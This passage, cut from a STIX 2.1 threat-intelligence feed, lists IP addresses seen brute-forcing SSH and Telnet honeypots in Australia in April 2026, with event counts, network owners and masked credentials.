      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--3790ef49-78a0-4a96-be7f-62163306f5cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 28840. Organisation(s): Pjsc tattelecom.",
      "id": "indicator--f7d2887f-98f7-4146-9a68-5272fbd17c12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.138.168.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--25cb80ff-8a3c-43a3-8f82-be974bcd4681",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.135.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T04:15:04.000Z",
      "valid_until": "2026-05-19T04:15:01.000Z"
    },
    {
      "created": "2026-04-17T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, 3**********4, t***e, ***, f*****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1*****6, 1**********z.",
      "id": "indicator--ea04e52d-ac1b-4d6f-b500-0855f226d49e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T04:15:04.000Z",
      "valid_until": "2026-05-19T04:15:01.000Z"
    },
    {
      "created": "2026-04-17T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--801d9244-2061-40ba-935f-aeadf040b1a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '84.76.123.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T04:15:04.000Z",
      "valid_until": "2026-05-19T04:15:01.000Z"
    },
    {
      "created": "2026-04-17T05:15:59.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--3ef58b4e-c039-41f7-9fd1-92db4ae84aa2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T05:15:59.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.230.113.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T05:15:59.000Z",
      "valid_until": "2026-05-19T05:15:02.000Z"
    },
    {
      "created": "2026-04-17T05:15:59.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--30ebc7b7-77a9-4717-8c1b-04a225b4ad6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T05:15:59.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T05:15:59.000Z",
      "valid_until": "2026-05-19T05:15:02.000Z"
    },
    {
      "created": "2026-04-17T05:15:59.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--fa0b515b-0e16-4bfb-85a1-bfe003506a16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T05:15:59.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.228.10.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T05:15:59.000Z",
      "valid_until": "2026-05-19T05:15:02.000Z"
    },
    {
      "created": "2026-04-17T05:15:59.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--bca0336a-f499-4ad5-a79e-1308ed520446",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T05:15:59.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.35.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T05:15:59.000Z",
      "valid_until": "2026-05-19T05:15:02.000Z"
    },
    {
      "created": "2026-04-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--b48897c4-7d12-4d43-bcdb-e4925ef74249",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.63.47.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T06:15:05.000Z",
      "valid_until": "2026-05-19T06:15:02.000Z"
    },
    {
      "created": "2026-04-17T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): u****u. Passwords observed (masked): a*********0.",
      "id": "indicator--7cf885c5-405c-4c57-bbf5-41f5a5c6d0b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.118.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T06:15:05.000Z",
      "valid_until": "2026-05-19T06:15:02.000Z"
    },
    {
      "created": "2026-04-17T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 210022. Organisation(s): Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.. Usernames observed (masked): r**t, s****r, 3**********4, ***, ***. Passwords observed (masked): 1**4, 1*******!, 1*******d, 1**********C, 3***********4.",
      "id": "indicator--bc8d9073-6156-460b-bd9b-2b243a782285",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.158.22.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T06:15:05.000Z",
      "valid_until": "2026-05-19T06:15:02.000Z"
    },
    {
      "created": "2026-04-17T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--21194620-f312-4136-b4a6-3f482da2a328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.26.86.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T06:15:05.000Z",
      "valid_until": "2026-05-19T06:15:02.000Z"
    },
    {
      "created": "2026-04-17T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, u****u, o**r, u**r, 3**********4. Passwords observed (masked): 1****6, !*******d, 1***1, 1****1, 1*****1.",
      "id": "indicator--7d8402e5-108d-4a23-9237-91ed8cf6abab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.163.3.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T06:15:05.000Z",
      "valid_until": "2026-05-19T06:15:02.000Z"
    },
    {
      "created": "2026-04-17T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 142271. Organisation(s): EWS DS Networks Inc. Usernames observed (masked): r**t, *, 3**********4, d****y, d******r. Passwords observed (masked): !********!, *, *, 1****6, 1***************#.",
      "id": "indicator--ac104f60-08a8-4474-a355-88821c5396bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.18.197.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T07:15:06.000Z",
      "valid_until": "2026-05-19T07:15:04.000Z"
    },
    {
      "created": "2026-04-17T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, r********6.",
      "id": "indicator--0016f8fe-20a0-4c53-8ce8-58b0318a5456",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.140.122.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T07:15:06.000Z",
      "valid_until": "2026-05-19T07:15:04.000Z"
    },
    {
      "created": "2026-04-17T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--fb0feada-6351-4582-ac15-b83bc47c0289",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T07:15:06.000Z",
      "valid_until": "2026-05-19T07:15:04.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): z******n, r**t. Passwords observed (masked): ***, 3***********4, q**********#.",
      "id": "indicator--8c57397c-a956-40a7-a831-99235f40d484",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.103.245.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): m***o. Passwords observed (masked): m******3.",
      "id": "indicator--cd2ccbda-0b43-46b9-ac48-ca805d5a24a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.112.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, f******r. Passwords observed (masked): 1*******!, 3***********4, 3**********4, Q*******c, S******6.",
      "id": "indicator--05042f10-a075-4735-ac17-cfe0e295aec3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, ***, u****u, 3**********4, a***n. Passwords observed (masked): 0****3, ***, 1******8, 1******r, 1******X.",
      "id": "indicator--4659acda-1783-4c97-bdcb-60d1f91243b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.160.233.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): Q************#, R***********3.",
      "id": "indicator--8d0eaade-a763-4839-8d3f-622e5a3516d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.78.237.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): G************1, U*********************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--056d5ce2-74a5-4c28-b2b8-e8fb5b7f2d6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.251.49.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--56101b39-467f-41cd-9a7a-3a0659c8e86d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.221.195.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5d711ad2-d6aa-49c6-affa-8bc4e3a11505",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--666da0bb-cc7d-4041-b994-70b321ccb1cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 13490. Organisation(s): Buckeye Cablevision, Inc.. Usernames observed (masked): r**t, 3**********4, f*****r, u****u, ***. Passwords observed (masked): 3***********4, 3**********4, 1********6, 1****6, B********3.",
      "id": "indicator--4d58b6a4-7f8c-4a12-ab94-eaa7d21da961",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.240.125.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4, ***, n*****d. Passwords observed (masked): 3***********4, 3**********4, R***********3, b******3, g******5.",
      "id": "indicator--aedd66ae-0bb5-4d29-84cc-f260d1ef16d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.218.69.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T08:15:04.000Z",
      "valid_until": "2026-05-19T08:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8461b3f4-964b-4c99-95c7-d17f8c75e717",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.216.150.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************************************************). Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--92f923b6-31b8-4d9c-9487-82f7fc53cdd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.90.225.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--20f9bd85-64c0-4076-81b2-bfa9d07838e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 6306. Organisation(s): TELEFONICA VENEZOLANA, C.A.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--56ca5b69-1205-4573-aab7-7c923cafa536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.71.154.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--aa74e2ff-8f21-455c-b306-13387b330852",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.145.9.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
